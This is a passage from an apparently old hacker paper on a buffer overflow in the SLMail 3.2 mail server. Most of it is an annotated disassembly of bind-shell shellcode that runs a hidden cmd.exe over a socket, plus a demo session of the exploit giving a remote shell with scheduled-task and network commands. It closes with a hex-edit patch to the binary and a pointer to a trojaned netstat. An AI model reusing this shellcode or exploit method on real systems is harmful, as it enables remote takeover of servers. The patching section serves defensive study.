:000001CF 57                      push edi
:000001D0 AD                      lodsd
:000001D1 56                      push esi
:000001D2 AD                      lodsd
:000001D3 56                      push esi
:000001D4 FF57C0                  call [edi-40]


Our second call to CreatePipe, again our read and write handles are stored at
esi.


:000001D7 48                      dec eax
:000001D8 B044                    mov al, 44
:000001DA 8907                    mov dword ptr [edi], eax
:000001DC 57                      push edi
:000001DD FF57C4                  call [edi-3C]


We make a call to GetStartupInfo, the structure will be stored at edi which we
give the size value.  The structure will need to be modified.


:000001E0 33C0                    xor eax, eax
:000001E2 8B46F4                  mov eax, dword ptr [esi-0C]
:000001E5 89473C                  mov dword ptr [edi+3C], eax
:000001E8 894740                  mov dword ptr [edi+40], eax
:000001EB 8B06                    mov eax, dword ptr [esi]
:000001ED 894738                  mov dword ptr [edi+38], eax
:000001F0 33C0                    xor eax, eax
:000001F2 66B80101                mov ax, 0101
:000001F6 89472C                  mov dword ptr [edi+2C], eax
:000001F9 57                      push edi
:000001FA 57                      push edi
:000001FB 33C0                    xor eax, eax
:000001FD 50                      push eax
:000001FE 50                      push eax
:000001FF 50                      push eax
:00000200 40                      inc eax
:00000201 50                      push eax
:00000202 48                      dec eax
:00000203 50                      push eax
:00000204 50                      push eax
:00000205 AD                      lodsd
:00000206 56                      push esi
:00000207 33C0                    xor eax, eax
:00000209 50                      push eax
:0000020A FF57C8                  call [edi-38]


By all means feel free to improve this code to drop some bytes, for example,
using stosd to modify edi. At the time I was just trying to make it _work_,
and wasn't particularly worried about the size.  What the hell is going on
here anyway?

We are modifying the startupinfo structure before our call to CreateProcess.

We replace StdOutput and StdError with the handle of the write end of our
first created pipe.  We then replace StdInput with the read handle of our
second created pipe.  The flags value we set to
STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES, and we set the ShowWindow value
to SW_HIDE.  esi points to "cmd.exe" and we make the call to CreateProcess.


:0000020D FF76F0                  push [esi-10]
:00000210 FF57CC                  call [edi-34]
:00000213 FF76FC                  push [esi-04]
:00000216 FF57CC                  call [edi-34]


CloseHandle is called to close the first read and the second write handles we
used for our StdHandles.


:00000219 48                      dec eax
:0000021A 50                      push eax
:0000021B 50                      push eax
:0000021C 53                      push ebx
:0000021D FF57F4                  call [edi-0C]
:00000220 8BD8                    mov ebx, eax


Now we call accept and wait for a connection.  We store the returned handle in
ebx.


:00000222 33C0                    xor eax, eax
:00000224 B404                    mov ah, 04
:00000226 50                      push eax
:00000227 C1E804                  shr eax, 04
:0000022A 50                      push eax
:0000022B FF57D4                  call [edi-2C]
:0000022E 8BF0                    mov esi, eax


Here we create a 1024 byte buffer with GlobalAlloc, pushing
GMEM_FIXED+GMEM_ZEROINIT which will return a handle that we place in esi.


:00000230 33C0                    xor eax, eax
:00000232 8BC8                    mov ecx, eax
:00000234 B504                    mov ch, 04
:00000236 50                      push eax
:00000237 50                      push eax
:00000238 57                      push edi
:00000239 51                      push ecx
:0000023A 50                      push eax
:0000023B FF77A8                  push [edi-58]
:0000023E FF57D0                  call [edi-30]
:00000241 833F01                  cmp dword ptr [edi], 00000001
:00000244 7C22                    jl 00000268


Now we start to get to the guts, this makes a call to PeekNamedPipe to see if
we have any data in the read end of the pipe (StdOutput/StdError), if not we
skip the following readfile/send functions as we are waiting on input from
the user.  edi stores the number of bytes read, [edi-58] is the handle to the
read end of the pipe.


:00000246 33C0                    xor eax, eax
:00000248 50                      push eax
:00000249 57                      push edi
:0000024A FF37                    push dword ptr [edi]
:0000024C 56                      push esi
:0000024D FF77A8                  push [edi-58]
:00000250 FF57DC                  call [edi-24]
:00000253 0BC0                    or eax, eax
:00000255 742F                    je 00000286


We call ReadFile and fill our created buffer with the data from the read-end
of the pipe, we push the bytesread parameter from our earlier call to
PeekNamedPipe.  If the function fails, i.e.: the command prompt was exited
- then we jump to the end of our shellcode and call ExitProcess, which will
kill the slmail process.

:00000257 33C0                    xor eax, eax
:00000259 50                      push eax
:0000025A FF37                    push dword ptr [edi]
:0000025C 56                      push esi
:0000025D 53                      push ebx
:0000025E FF57F8                  call [edi-08]

Now we call send to fire the data from our buffer off to the connected user.


:00000261 6A50                    push 00000050
:00000263 FF57E0                  call [edi-20]
:00000266 EBC8                    jmp 00000230


Call Sleep and jump back to PeekNamedPipe.


:00000268 33C0                    xor eax, eax
:0000026A 50                      push eax
:0000026B B404                    mov ah, 04
:0000026D 50                      push eax
:0000026E 56                      push esi
:0000026F 53                      push ebx
:00000270 FF57FC                  call [edi-04]


This is the point we get to if there was no data in the read pipe, so we call
recv and receive input from the user.


:00000273 57                      push edi
:00000274 33C9                    xor ecx, ecx
:00000276 51                      push ecx
:00000277 50                      push eax
:00000278 56                      push esi
:00000279 FF77AC                  push [edi-54]
:0000027C FF57D8                  call [edi-28]


We push the handle of the write end of our pipe (StdInput), and we call
WriteFile sending the buffer from the user.  i.e.: we make it happen.


:0000027F 6A50                    push 00000050
:00000281 FF57E0                  call [edi-20]
:00000284 EBAA                    jmp 00000230


Call Sleep again and jump back to PeekNamedPipe.


:00000286 50                      push eax
:00000287 FF57E4                  call [edi-1C]
:0000028A 90                      nop


The shell has been exited so we call ExitProcess to clean up our mess.

And there we have it, full control is at our fingertips.

Before we enter the last section, on modifying the executable of our
target, I'll give a quick example of the exploit in action.


Ownership.
~~~~~~~~~~

E:\exploits>slxploit supermax.gen.nz 8376 1234
SLMail (3.2.3113) remote.
by Barnaby Jack AKA dark spyrit <dspyrit@beavuh.org>

usage: slxploit <host> <port> <port to bind shell>
e.g. - slxploit host.com 27 1234

waiting for response....
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here

sent.. spawn connection now.


Trying 192.168.10.3...
Connected to supermax.gen.nz.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

E:\Program Files\SLmail\SYSTEM>
E:\Program Files\SLmail\SYSTEM>at
The service has not been started.

E:\Program Files\SLmail\SYSTEM>net start schedule

The Schedule service is starting.
The Schedule service was started successfully.

E:\Program Files\SLmail\SYSTEM>time
The current time is: 23:49:36.36
Enter the new time:

E:\Program Files\SLmail\SYSTEM>at 23:51:00 net start slmail
Added a new job with job ID = 0

E:\Program Files\SLmail\SYSTEM>net view
Server Name            Remark

-------------------------------------------------------------------------------
\\SUPERMAX
The command completed successfully.

E:\Program Files\SLmail\SYSTEM>net send supermax beavuh 99.
The message was successfully sent to SUPERMAX.


E:\Program Files\SLmail\SYSTEM>exit
exit
Connection closed by foreign host.

Plenty of options, you could also create a file with ftp commands, to
download bo2k for example, and use NT's console ftp.
e.g. ftp -s:file host.


Section 3: The Remedy.
~~~~~~~~~~~~~~~~~~~~~~

This is perhaps the most important section of the paper, and is not just
useful for preventing vulnerabilities - the ability to add your own code
leaves open an endless amount of possibilities as you can imagine.

I advise that you have a look at some documentation on the PE file format,
Matt Peitreks book "Windows 95 System Programming Secrets" has an excellent
section, otherwise take a look at
http://msdn.microsoft.com/library/specs/msdn_pecoff.htm for Microsoft's
documentation.

Consider this hypothetical situation for a minute:

A huge hole is found rendering most NT servers on the internet vulnerable
to remote system access.  Microsoft stumbles around for a week or so before
releasing a suitable patch, while during this time some of the largest
corporations have little to do but pray they won't fall victim to an attack,
or make the change to alternative software.  Hey, that happened a couple of
months ago! :)  But there is an alternative, patch the software yourself.

There are 3 main approaches we can take to add our own code.

1, Add our code to unused space in a section.
2, Increase the size of the last section.
3, Add a new section.

The first is the technique we will use, to see an example of the second
approach have a look at my trojan netstat which will be available at
http://www.rootkit.com in the near future.

Adding your own section - at least as far as what we are doing, won't
normally be needed, so I won't cover the techniques in this document.

Now we need to think about the code we will add, here's a few options:

Add our own string length routine, and print out an error message
depending on the length.. then skip the nasty functions.

Add our own string length routine, and place a null at the beginning of
the buffer depending on the length, so effectively the program thinks
there was no input and will return a standard 'syntax error' message.

Replace the offending strcpy function with a bounds checking version - i.e.:
do what they should have done in the first place.

I think it's obvious the approach we will take, the first option would be
too involved, the second just isn't delicate - so we'll go with the last.

It just so happens that in this case lstrcpynA is in our targets import
table (if this wasn't the case? we would use the same techniques as shown
in the shellcode - using the LoadLibrary and GetProcAddress procedures).

Grab PE Dump or dumpbin, whatever you have on you.. and dump the section
table for slmail.exe, if you haven't worked with the PE header before I'll
explain a little as we go.


Section Table
  01 .text     VirtSize: 0003F99B  VirtAddr:  00001000
    raw data offs:   00001000  raw data size: 00040000
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 60000020
      CODE  MEM_EXECUTE  MEM_READ


The section we will be working with is the .text section - where the code
is located.  We can see here that the Virtual Size (the actual size of the
code) is somewhat smaller than the raw data size (the amount of space that is
actually taken up).  So if we subtract the Virtual Size from the raw data
size :

0x40000 - 0x3f99b = 0x665

That gives us about 1.6k to play with, easily enough space for what we want to
do.

Why do we have this extra space? 

Because compilers usually round up the size to align the section, which is
handy for us :)

Fire up your hex editor, and jump to the address 0x4099b (virtual size +
raw data offset) and you'll notice we have a ton of null bytes, about 1.6k
worth in fact.  This is a perfect place to dump our code - but before we do..

We need to increase the Virtual Size to allow for our code, we may as well
increase it to the largest available size, it won't hurt.  We also need to
modify the flags, as you saw from the dump the .text section is defined code,
readable and executable.

The values are as follows:


IMAGE_SCN_CNT_CODE	equ       000000020h  
IMAGE_SCN_MEM_EXECUTE	equ       020000000h  
IMAGE_SCN_MEM_READ      equ       040000000h 


To get the final value we OR each of the flags, which results in 060000020h.

But, if we wish to write data to our code space, to avoid page faults we also
need to make the section writeable - we may not have the need, but it doesn't
hurt to change the flags anyway.


IMAGE_SCN_MEM_WRITE     equ       080000000h


So we OR this value with 060000020h and we get 0E0000020h.  This is the new
value we will add to the exe.
 
Jump back into the hex editor and we'll make these changes permanent, to find
the Virtual Size value for the .text section, simply do a search for .text
and the following value is the culprit.


000001D0  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   .........text...
000001E0  9B F9 03 00  <====                                ....


To set this to the maximum allowed value we just replace with the raw data
size:


000001E0  00 00 04 00 


And, we also make the change to the flags.


000001D0  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   .........text...
000001E0  9B F9 03 00 00 10 00 00-00 00 04 00 00 10 00 00   ................
000001F0  00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 60   <=====


We replace with our new value that allows us to write to the code space:


000001F0  00 00 00 00 00 00 00 00-00 00 00 00 20 00 00 E0


We'll quickly verify our changes with PE Dump, then we can actually get to
what we're here for, getting our code executing.


Section Table
  01 .text     VirtSize: 00040000  VirtAddr:  00001000
    raw data offs:   00001000  raw data size: 00040000
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: E0000020
      CODE  MEM_EXECUTE  MEM_READ  MEM_WRITE


And there we have it, our virtual size equals the raw data size, and we now
also have the writeable flag.

What we need to do now, is find a location to jump to our own code. 


004364AE                 push    edi
004364AF                 push    eax ; we jump here.
004364B0                 push    esi
004364B1                 call    ds:lstrcpyA


We'll get rid of the strcpy call, and make a jump to our code at the 'push
eax'.  We know our code resides at RVA (relative virtual address) 0x4099b
so we make our jump.  We can assemble our jumps in tasm:

jmp $+(04099bh-0364afh)

(RVA of our code - RVA of current location)

Or, we can do it straight from the debugger.


Let's make it perm.. the code follows:


:004364AA 8B742478                mov esi, dword ptr [esp+78]
:004364AE 57                      push edi
:004364AF E9E7A40000              jmp 0044099B     ;jump to our code

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004409A9(U)
|
:004364B4 59                      pop ecx          ;restore ecx on return
:004364B5 90                      nop
:004364B6 90                      nop


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004364AF(U)
|
:0044099B 51                      push ecx          ;preserve ecx
:0044099C 52                      push edx          ;preserve edx
:0044099D E800000000              call 004409A2

* Referenced by a CALL at Address:
|:0044099D   
|
:004409A2 5A                      pop edx           ;get eip
:004409A3 81EAA2090400            sub edx, 000409A2 ;get image base
:004409A9 81C264110400            add edx, 00041164 ;point to strcpyn
:004409AF 33C9                    xor ecx, ecx
:004409B1 B160                    mov cl, 60        ;allow 96 bytes 
:004409B3 51                      push ecx
:004409B4 50                      push eax          ;our input
:004409B5 56                      push esi          ;buffer 
:004409B6 FF12                    call dword ptr [edx]  ;call strcpyn 
:004409B8 5A                      pop edx             ;restore edx
:004409B9 E9F65AFFFF              jmp 004364B4        ;back to proggie.

Yeah, I know, W32Dasm - but hey, its fast and easy for showing code dumps
:)

The stack pointer is basically kept in tact, so we don't need to worry about
screwing with it.

Now, this should have solved our problem - let's check.

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
expn <10 or so lines of x's>

Connection closed by foreign host.

Whoops, the slmail process dies.

Guess what? there's another overflow.  This software is shocking, widely
used shocking software might I add.  Well, let us fix this one also.

A couple of rets, and we quickly find the offending code:


00404bb1	mov	esi, eax
00404bb3	push	edi	
00404bb4	push	ecx	
00404bb5	call	[KERNEL32!lstrcpy]


edi contains our input, ecx the buffer.

Here we go again.

We'll put our code directly after our earlier modifications (0x409be), and
we'll kill this strcpy call and jump to our code at 'push edi'.


:00404BB1 8BF0                    mov esi, eax
:00404BB3 E906BE0300              jmp 004409BE  ;jump to our code

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004409E0(U)
|
:00404BB8 90                      nop
:00404BB9 90                      nop
:00404BBA 90                      nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404BB3(U)
|
:004409BE 90                      nop
:004409BF 52                      push edx        ;preserve edx
:004409C0 E800000000              call 004409C5

* Referenced by a CALL at Address:
|:004409C0   
|
:004409C5 5A                      pop edx	     ;get eip
:004409C6 81EAC5090400            sub edx, 000409C5  ;get image base
:004409CC 81C264110400            add edx, 00041164  ;address for strcpyn
:004409D2 33C0                    xor eax, eax
:004409D4 B060                    mov al, 60         ;allow 96 byes
:004409D6 50                      push eax 
:004409D7 57                      push edi           ;input
:004409D8 51                      push ecx           ;buffer
:004409D9 FF12                    call dword ptr [edx]  ;call strcpyn
:004409DB 5A                      pop edx 		;restore edx
:004409DC C6476000                mov [edi+60], 00	;cut the goddamn
                                                        ;input short,
                                                        ;incase there is 
                                                        ;even more overflows 
:004409E0 E9D341FCFF              jmp 00404BB8 ;return to the prog.


This time...

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxx
550 Unable to find list 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.
quit
221 supermax.gen.nz Service Closing
Connection closed by foreign host.


And so it was done, 15 minutes work and we've fixed a terribly serious hole.

No source? no problem.

The binary for this quick patch will be available at http://www.beavuh.org, 
although, a vendor patch is seriously recommended.

This will prevent break-ins from the exploit that accompanies this paper,
but there are far too many exploitable holes in this software - and no
doubt after reading this other exploits are in the works.


Conclusion.
~~~~~~~~~~~

Windows 9x/NT has a had a relatively easy ride as far as buffer overflows go -
a change is coming.  Although some "big" software has been affected as of
late, the limitations of the payload and the system dependency limited the
wide-scale fear.

It's time to recognize.

The fact that I picked on 3rd party software for this article, rather than
hitting the giant itself, is not because of lack of opportunities - trust
me, there is a lot hiding behind the bloat.

Navigate the code, work those registers, and you'll come up trumps -
guaranteed.

Fight those who try to outlaw our methods, support the open source
movement, and support full disclosure - it is a good thing.


"One future.  Two choices.  Oppose them or let them destroy us."

-Propagandhi.


Greets and thanks.
~~~~~~~~~~~~~~~~~~

neophyte, Greg Hoglund, c33, sacX, tree, casper, ripper, ryan, luny,
sycotic, blitz, marc, Interrupt, ambient empire, DilDog, the beavuh &
mulysa crew, the eEye team, the rootkit crew, attrition, w00w00, L0pht,
ADM, Phrack, Security Focus, technotronic, HNN, Packet Storm Security.. 
and everyone else I forgot.


The Code.
~~~~~~~~~

The assembler source code follows, and the shellcode for the exploit in c
format if anyone wishes to port.